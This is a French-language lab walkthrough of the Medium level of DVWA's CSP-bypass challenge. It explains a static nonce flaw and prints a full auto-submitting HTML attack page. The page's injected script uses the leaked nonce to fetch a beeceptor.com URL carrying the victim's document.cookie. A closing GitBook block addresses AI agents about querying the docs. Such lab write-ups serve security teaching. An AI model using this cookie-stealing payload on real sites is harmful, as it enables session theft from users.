> For the complete documentation index, see [llms.txt](https://sharpforce.gitbook.io/cybersecurity/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/damn-vulnerable-web-application-dvwa/csp-bypass/niveau-medium.md).

# Niveau "Medium"

Le niveau "Medium" invite à trouver une façon de déclencher une boite de dialogue Javascript :

![](/files/-LuDgO8DXH36m9U1jems)

J'analyse la nouvelle politique CSP pour ce niveau :

![](/files/-LuDgYra91bvItNb6J5q)

```markup
Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';
```

Soit pour la directive `script-src` :

* `'self'` : Autorise l'exécution de ressources fournies par la même origine
* `'unsafe-inline'` : Autorise les scripts de type `<script></script>` (ou encore dans un event HTML par exemple)
* `'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='` : seul le script ayant ce nonce pourra être exécuté

Voici comment fonctionne le [`nonce`](https://developer.mozilla.org/fr/docs/Web/HTTP/Headers/Content-Security-Policy/script-src):

![](/files/-LuDhYBtk-LBhjTtxXdm)

Le nonce est donc un identifiant unique et renouvelé à chaque fois que le serveur transmet la politique CSP. De plus, il est important que ce nonce ne soit pas devinable (guessable) sans quoi un contournement de la politique CSP serait possible.

Un script autorisé portera alors le nonce comme ceci (ne pas oublier qu'une implémentation sécurisée portera un nonce doit dynamique) :

```markup
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">
  // Je suis un script autorisé car je connais le nonce
</script>
```

J'effectue quelques requêtes **`GET`** sur le endpoint `/csp` de DVWA : surprise le `nonce` ne change jamais :

![](/files/-LuDj5PMIbYbunNHTgBt)

Connaissant d'avance le `nonce`, il est alors facile de créer un script qui sera accepté par l'application :

![](/files/-LuDjm9YqCT1mV95Bulb)

Afin de piéger la victime, J'utilise la même technique que pour le niveau "Low" qui est de forger une page malicieuse effectuant la requête **`POST`** :

```markup
<html>
  <head>
    <title>Exploitation POST XSS</title>
  </head>

  <body>
    <p>Post reflected XSS !</p>
      <form action="http://192.168.56.203:8080/vulnerabilities/csp/" method="POST" name="postExploitXSS">
        <input type="text" name="include" value="<script nonce='TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='>fetch('https://cspbypass.free.beeceptor.com?cookie=' + document.cookie);</script>">
        <button type="submit">Envoyer le message</button>
      </form>

    <script>document.forms['postExploitXSS'].submit();</script>
    </body>
</html>
```

Finalement, lorsque l'utilisateur (authentifiée) visitera ma page, je récupèrera son jeton (la victime sera redirigée de mon site malicieux vers le challenge DVWA) :

![](/files/-LuDlWsqZ2ps_vn7Ra-q)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sharpforce.gitbook.io/cybersecurity/walkthroughs/deliberately-vulnerable/damn-vulnerable-web-application-dvwa/csp-bypass/niveau-medium.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
